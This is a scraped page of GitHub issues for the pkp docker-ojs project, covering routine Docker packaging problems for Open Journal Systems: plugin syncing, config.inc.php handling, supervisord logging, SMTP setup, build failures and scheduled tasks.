Docker version 20.10.8+dfsg1, build 3967b7d

$ docker-compose --version
docker-compose version 1.27.4, build unknown

How to keep ojs plugins sync with ojs?

Context

OJS code is not only ojs+libpkp repositories. It's also a set of plugins evolve at different speed (and with different version numbers) than OJS.

If, for instance, you ran an ojs3 image with ojs2 plugins, your docker image will blow up.
Some plugins work for 3.1 and greater, while others only for 2.x, etc.

Even right now those dependencies are managed automatically by compose (as is required by Dockerfile on image building), when your container goes to live, those plugins could be updated and unsync with the ojs version.

So, imagine you have an ojs3.2 with all the plugins updated... but you restart your container.
Imagine now you use plugins that are not installed by default (need to be downloaded from the galley) or you have your own plugins.

In all those situations, when you reset your container, you will get a brand new 3.2 image with the plugins at their original state (outdated)... and you will need to update (or download) the plugins again.

(Probably this is not a huge problem in multi-tenant installations, but means a lot of work in single-tenant)

This issue is opened to think in solutions to keep plugins sync with ojs.

First solutions that raise to me are:

a) Offer a new volume to make it easy to make those plugins persistent.
b) Specifically for multi-tenant: Map all your plugins volumes to same (read-only) shared path.
c) Use weekly stable-snapshot images.
d) Create a helper script to manage plugins (enable, disable, download, update).

a) and b) are variants of the same solution. First requires more maintenance (plugin upgrade will need to be done container by cntainer) than the second one (can upgrade all plugins from a single main-ojs), but this second solution is also risky (you need to be sure you keep your plugins and all your ojs sync).

c) would be based on mutable images and... the problems derivated form this, are explained here.

So d) looks like the most elegant solution, but this "helper script" to manage plugins is not written yet.

Remove "installed" toggle in ojs-variable.

The script "ojs-variable" disables ojs setting "installed" variable in config to Off.
This was done thinking OJS worked like drupal (mantainence mode during upgrade) but in OJS this is not only useless, it's also a bad idea because could have negative impact in the app.

So, this need to be removed from the ojs-variable script.

ojs cli install doesn't work in docker-compose.yml

Expected Behavior

When the environment variable OJS_CLI_INSTALL is changed to 1 on .env file, it is expected that the installation takes place automatically without the need of human interaction.

Current Behavior

After setting up the environment and running docker-compose, I verified that the configuration doesn't work. The following image illustrates the fact:
image

Steps to Reproduce

  1. Change directory to /versions/main/alpine/apache/php73/
  2. Set OJS_CLI_INSTALL to 1 on .env file
  3. In the docker-compose.yml file, uncomment lines 16,17 db and 35,36 ojs service
#     env_file:
#      - .env
  1. Run docker-composer -f docker-composer.yml up
  2. Access http://localhost:8081

Context (Environment)

More information about the host

$ lsb_release -a
No LSB modules are available.
Distributor ID: Debian
Description:    Debian GNU/Linux bookworm/sid
Release:        testing
Codename:       bookworm

$ uname -a
Linux alohomora 5.10.0-8-amd64 #1 SMP Debian 5.10.46-4 (2021-08-03) x86_64 GNU/Linux

$ docker -v
Docker version 20.10.5+dfsg1, build 55c4c88

$ docker-compose --version
docker-compose version 1.27.4, build unknown

Cheers,
Luis Leal.

Better management of config.inc.php variables

The problem

Configuration is something you usually would like to keep out of your container, but the existing solution (config.inc.php as a volume) is not a good practice, generate issues, and is not k8s compliant, so we need a better approach.

Solution
Based on ojs-variable helper script we can manage variables.

The proposal is rewrite the ojs-pre-start script to check a new environment variable called OJS_CONFIG_ENV .. if it’s not set or False, the container doesn’t touch the config.inc.php. If it’s True, it will pulls all the ENV vars with the OJSCONFIG_ prefix and uses ojs-variable to write them into config.inc.php.

As Andrew proposed, the core of this could be:

if [[ ${OJS_CONFIG_ENV:-"0"} == "1" ]] ; then
    # OJS variables set in config.inc.php
    echo "[OJS Pre-Start] ++ Overriding OJS Config with 'OJSCONFIG_' environment variables."

Work to be done

  • Change ojs-variable: to be less verbose by default and don't switch the installed bit.
  • Change ojs-pre-start: to include the OJS_CONFIG_ENV logic
  • Change sample .env file: to show sample variables enabled (and a few of them commented).
  • Change default config.inc.php: to be taken from pkp's template instead of packaged in our project?
  • Change README: to remove the existing references to config.inc.php and explain how all it works.

Potential issues

All this will only apply if you create the new OJS_CONFIG_ENV variable, so existing users won't notice any change.
On the other side, as config variables are set during container start, we don't see any risk of changing them.
The only but would be if users like to change a variable on a running container. It would be possible as follows:

$ docker exec -it ojs_app_journalname /usr/local/bin/ojs-variable session_check_ip Off

This last scenario is not necessarily risky, unless you change essential variables (as base_url or ssl...) that will cause a crash in your OJS and it would be no different than had someone lost their internet connection and had to pick the process back up.

Therefore, the final conclusion is that the solution is safe enough for production and maintains backward compatibility.

Upgrade exclude list (or pull it from pkp's)

PKP's build script includes a variable with an "exclude list" that lists all the files and folders that need to be removed to package.
This list was recently changed to fix an issue with "example" folders:
pkp/ojs@c2d3eff

We have 2 options here:

  1. The fast&easy one: Modify our exclude.list file to sync with pkp's one.
  2. The definitive: Ask pkp to keep this as an external file, so we can pull it during Dockerfile run.

I think we can apply 1 and commit a PR with 2 for PKP consideration.

Avoid using supervisord

Instead of using supervisord, it would be much better to have one task running in each container, so Docker or Kubernetes can decide what to do if something fails. Monitoring would also greatly benefit from that.

This is what an error could look like now:

2021-06-03 11:14:52,159 CRIT Supervisor is running as root.  Privileges were not dropped because no user is specified in the config file.  If you intend to run as root, you can set user=root in the config file to avoid this message.
2021-06-03 11:14:52,164 INFO supervisord started with pid 1
2021-06-03 11:14:53,167 INFO spawned: 'apache' with pid 8
2021-06-03 11:14:53,169 INFO spawned: 'checkstart' with pid 9
2021-06-03 11:14:53,171 INFO spawned: 'crond' with pid 10
2021-06-03 11:14:53,899 INFO exited: checkstart (exit status 0; not expected)
2021-06-03 11:14:54,901 INFO success: apache entered RUNNING state, process has stayed up for > than 1 seconds (startsecs)
2021-06-03 11:14:54,903 INFO spawned: 'checkstart' with pid 27
2021-06-03 11:14:54,903 INFO success: crond entered RUNNING state, process has stayed up for > than 1 seconds (startsecs)
2021-06-03 11:14:55,034 INFO exited: checkstart (exit status 0; not expected)
2021-06-03 11:14:57,038 INFO spawned: 'checkstart' with pid 39
2021-06-03 11:14:57,175 INFO exited: checkstart (exit status 0; not expected)
2021-06-03 11:15:00,182 INFO spawned: 'checkstart' with pid 51
2021-06-03 11:15:00,312 INFO exited: checkstart (exit status 0; not expected)
2021-06-03 11:15:00,313 INFO gave up: checkstart entered FATAL state, too many start retries too quickly
2021-06-03 12:04:50,650 WARN received SIGTERM indicating exit request
2021-06-03 12:04:50,651 INFO waiting for apache, crond to die
2021-06-03 12:04:50,651 INFO stopped: crond (terminated by SIGTERM)
2021-06-03 12:04:51,703 INFO stopped: apache (exit status 0)
2021-06-03 12:07:11,806 CRIT Supervisor is running as root.  Privileges were not dropped because no user is specified in the config file.  If you intend to run as root, you can set user=root in the config file to avoid this message.
2021-06-03 12:07:11,811 INFO supervisord started with pid 1
2021-06-03 12:07:12,815 INFO spawned: 'apache' with pid 10
2021-06-03 12:07:12,817 INFO spawned: 'checkstart' with pid 11
2021-06-03 12:07:12,819 INFO spawned: 'crond' with pid 12
2021-06-03 12:07:13,347 INFO exited: checkstart (exit status 0; not expected)
2021-06-03 12:07:14,349 INFO success: apache entered RUNNING state, process has stayed up for > than 1 seconds (startsecs)
2021-06-03 12:07:14,351 INFO spawned: 'checkstart' with pid 29
2021-06-03 12:07:14,351 INFO success: crond entered RUNNING state, process has stayed up for > than 1 seconds (startsecs)
2021-06-03 12:07:14,464 INFO exited: checkstart (exit status 0; not expected)
2021-06-03 12:07:16,469 INFO spawned: 'checkstart' with pid 41
2021-06-03 12:07:16,587 INFO exited: checkstart (exit status 0; not expected)
2021-06-03 12:07:19,593 INFO spawned: 'checkstart' with pid 53
2021-06-03 12:07:19,712 INFO exited: checkstart (exit status 0; not expected)
2021-06-03 12:07:19,712 INFO gave up: checkstart entered FATAL state, too many start retries too quickly

What happened? No idea by looking at the Docker logs. Even worse, Docker thinks that everything is doing just fine.

SMTP configuration problems

Hello and thank you for sharing this repository.

I have a problem with volumes in docker-compose file. I use a custom config file (/var/www/html/config.inc.php) uncommenting this line. The only thing that I changed in the config file is the following:

;;;;;;;;;;;;;;;;;;
; Email Settings ;
;;;;;;;;;;;;;;;;;;
[email]
; Use SMTP for sending mail instead of mail()
smtp = On
; SMTP server settings
smtp_server = smtp.gmail.com
; smtp_port = 465
; Enable SMTP authentication
; Supported mechanisms: ssl, tls
smtp_auth = ssl
smtp_username = "[email protected]"
smtp_password = "xxxxxxxx"
; Allow envelope sender to be specified
; (may not be possible with some server configurations)
; allow_envelope_sender = Off

But when I do docker-compose up, after I configure database and user name in the installation process, the installation fails and reboots to the installation URL again. Am I doing something wrong?

Thank you.

Fix ojs-run-scheduled to call autoStage.xml

ojs-run-scheduled is called by cron and is running "/var/www/html/tools/runScheduledTasks.php" without any parameters.

To process logs and show statistics it need to be:
$ php /var/www/html/tools/runScheduledTasks.php /var/www/html/plugins/generic/usageStats/scheduledTasksAutoStage.xml

(not sure if full path is required for the xml file path)

Failed to build Dockerfile 3_1_2-4

Expected Behavior

Build the docker image

Current Behavior

3/3 [============================] 100%
 - Installing citation-style-language/locales (1.0.0): Cloning master from cache
 - Installing symfony/polyfill-mbstring (v1.12.0): Extracting archive
 - Installing seboettg/collection (v1.3.1): Extracting archive
 - Installing myclabs/php-enum (1.7.2): Extracting archive
 - Installing seboettg/citeproc-php (v2.1.6): Extracting archive
0/4 [>---------------------------]   0%
3/4 [=====================>------]  75%
4/4 [============================] 100%
Generating autoload files
/bin/sh: npm: not found
The command '/bin/sh -c composer update -d lib/pkp --no-dev && composer install 
-d plugins/paymethod/paypal --no-dev && composer install 
-d plugins/generic/citationStyleLanguage --no-dev && npm install -y && npm run build' 
returned a non-zero code: 127

Steps to Reproduce

  1. Go to versions/3_1_2-4/alpine/apache/php/
  2. Run docker build -t local/ojs:3_1_2-4 .

Details

I suspect the problem is with the templates/dockerFiles/Dockerfile-alpine-apache-php7.template file, the ENV PACKAGES does not contain npm package.

ENV COMPOSER_ALLOW_SUPERUSER=1  \
    SERVERNAME="localhost"      \
    HTTPS="on"                  \
    OJS_VERSION=%%OJS_VERSION%% \
    OJS_CLI_INSTALL="0"         \
    OJS_DB_HOST="localhost"     \
    OJS_DB_USER="ojs"           \
    OJS_DB_PASSWORD="ojs"       \
    OJS_DB_NAME="ojs"           \
    OJS_WEB_CONF="/etc/apache2/conf.d/ojs.conf"   \
    OJS_CONF="/var/www/html/config.inc.php"       \
    PACKAGES="supervisor dcron ttf-freefont apache2 apache2-ssl apache2-utils patch php7 php7-fpm php7-cli php7-apache2   \
             php7-zlib php7-json php7-mbstring php7-tokenizer php7-simplexml php7-phar php7-openssl    \
             php7-curl php7-mcrypt php7-pdo_mysql php7-mysqli php7-session php7-ctype php7-gd php7-xml \
             php7-dom php7-iconv curl nodejs git" \
    EXCLUDE_URL="https://raw.githubusercontent.com/pkp/docker-ojs/master/excludeVar.list"

I believe that this part of the file contains a typo in npm install -y

# Install NPM and Composer Deps
RUN composer update -d lib/pkp --no-dev && \
    composer install -d plugins/paymethod/paypal --no-dev && \
    composer install -d plugins/generic/citationStyleLanguage --no-dev && \
    npm install -y && npm run build

Context (Environment)

$ lsb_release -a
No LSB modules are available.
Distributor ID: Debian
Description:    Debian GNU/Linux bookworm/sid
Release:        testing
Codename:       bookworm

$ uname -a
Linux alohomora 5.10.0-8-amd64 #1 SMP Debian 5.10.46-4 (2021-08-03) x86_64 GNU/Linux

$ docker -v
Docker version 20.10.5+dfsg1, build 55c4c88

$ docker-compose --version
docker-compose version 1.27.4, build unknown

Luis Leal.

Add compose configuration for development environment

It would be interesting to have a specific compose configuration for plug-in development.

I've made a first attempt at this during the sprint in Heidelberg earlier this year, but did not get it to work fully: master...nuest:dev_image

So this issue is mostly to make sure others thinking along the same lines may profit from the first steps taken there. IMO the following bits are important:

  • good instructions on how to run a plug-in from a specific directory on the host machine
  • alternative instructions on running the whole OJS code (even old versions) from the host machine with a suitable (specific version) OJS
  • debugging with editor on the host machine

Alternative things to try out:

  • development environment within an additional container in the docker-compose configuration

Docker image for OJS 3.3.0-10

OJS 3.3.0-10 was released on March 5 but there is currently no Docker image for it.


I assume the process of configuring an image for a new OJS version involves some manual steps; what could be done to make it easier? I'm willing to help.
Perhaps it would be useful to have a periodic Action that checks if there is a new tagged OJS version, and triggers an alert if there is no corresponding Docker image?

Version ojs:3_3_0-7 - Add reviewer mail

Dear all,

I am using docker-based OJS, version ojs:3_3_0-7 and have problems as mails when I click "Add reviewer" are not sent, so reviewer is not notified about a new review.

In the Web interface I get mail successfully sent notification and also there are no errors in error.log.

Does anyone know about this problem?

Slavko

Exporting users warns magic.mime is missing

When exporting users, log shows the following warning:

PHP Warning:  finfo_open(/etc/magic.mime): failed to
 open stream: No such file or directory in /var/www/html/lib/pkp/classes/core/PKPString.inc.php on line 318, referer: http://ada.uab.cat:811
7/languesparole/management/importexport/plugin/UserImportExportPlugin

This warning raises when OJS calls fileinfo functions: https://www.php.net/manual/es/class.finfo.php

A preliminary search points that libmime is missing but installing it via "file" package ("apk add --no-cache file") makes no real difference.

When running "file -version" I got the path of the magic file (not magic.mime but I suspect will do the job) and it's /usr/share/misc/magic.

A possible solution would be change the dockerfile to add "file" and link "/etc/magic.mime" to "/usr/share/misc/magic" but I'm not sure about side effects.

I'm not sure if this only happens with 3.2.1-4 over php 7.3 or is a general issue.

In short: although this is just a warning and I can see any real impact in the application functionality... more research is required.

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    🖖 Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. 📊📈🎉

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google ❤️ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.